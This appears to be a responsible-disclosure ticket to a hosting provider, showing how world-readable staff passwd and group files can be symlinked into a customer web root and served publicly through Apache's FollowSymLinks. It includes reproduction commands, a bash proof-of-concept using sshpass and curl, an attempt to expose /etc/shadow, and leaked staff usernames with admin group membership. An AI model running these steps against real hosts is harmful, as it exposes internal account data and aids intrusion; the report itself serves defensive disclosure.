Security vulnerabilities

Attached to Project: Security vulnerabilities
Opened by Bores - 10.08.2026
Last edited by cbay - 10.08.2026

The fix for  FS#426  removed staff entries from NSS (`getent passwd` now returns empty for staff), but the files themselves were not restricted. /alwaysdata/etc/passwd and /alwaysdata/etc/group remain mode 644 and can be read directly via `cat` from any SSH session.

Worse: because Apache uses FollowSymLinks without SymLinksIfOwnerMatch, an SSH user can symlink these files into ~/www/ and serve them over HTTPS to anyone on the internet without authentication. This escalates the exposure from "SSH-only" ( FS#426 ) to "public internet."

Vulnerable asset:
ssh://ssh-[account].alwaysdata.net
https://[account].alwaysdata.net/ (Apache with FollowSymLinks)
Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)

Root cause:
1. Files not restricted after  FS#426  fix (still -rw-r–r–)
2. Apache follows symlinks pointing outside DocumentRoot regardless of target ownership

Steps to reproduce:

1. SSH in:

ssh bores@ssh-bores.alwaysdata.net

2. Confirm  FS#426  fix is in place (NSS no longer exposes staff):

$ getent passwd | grep "/alwaysdata/home/"
(no output)

3. File still readable directly:

$ cat /alwaysdata/etc/passwd
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash

$ ls -l /alwaysdata/etc/passwd
-rw-r--r-- 1 root root 440 Dec  9  2024 /alwaysdata/etc/passwd

4. Symlink into web root and serve publicly:

$ ln -sf /alwaysdata/etc/passwd ~/www/staff
$ ln -sf /alwaysdata/etc/group ~/www/roles

5. Fetch from anywhere (no auth, no SSH needed):

$ curl https://bores.alwaysdata.net/staff
nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash

$ curl https://bores.alwaysdata.net/roles
alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
alwaysdata_support:x:502:hdegorce

6. Negative control (root-only file blocked as expected):

$ ln -sf /etc/shadow ~/www/shadow
$ curl https://bores.alwaysdata.net/shadow
403 Forbidden

7. Cleanup:

$ rm ~/www/staff ~/www/roles ~/www/shadow

PoC script (run from any machine with sshpass + curl):

#!/bin/bash
# Usage: bash poc.sh <account> <password>
ACCOUNT="$1"; PASSWORD="$2"
SSH="ssh-${ACCOUNT}.alwaysdata.net"
WEB="https://${ACCOUNT}.alwaysdata.net"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
  'ln -sf /alwaysdata/etc/passwd ~/www/poc_staff && ln -sf /etc/shadow ~/www/poc_shadow'
echo "Staff file:" && curl -s "${WEB}/poc_staff"
echo "Shadow (should 403):" && curl -s -o /dev/null -w "%{http_code}" "${WEB}/poc_shadow"
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no ${ACCOUNT}@${SSH} \
  'rm -f ~/www/poc_staff ~/www/poc_shadow'

Impact:
- Same data as  FS#426 , but now served to the public internet (no SSH required to view)
- Any world-readable system file can be exposed this way (/etc/passwd, /etc/mysql/mariadb.cnf, etc.)
- An attacker only needs to share the URL; the recipient needs no account or credentials to see staff data

Tested on my own account only. Symlinks removed after each test.

Suggested fix:
1. chmod 640 /alwaysdata/etc/passwd /alwaysdata/etc/group (root:alwaysdata_team)
2. Switch customer vhosts to Options SymLinksIfOwnerMatch
Either one blocks this; both together for defense in depth.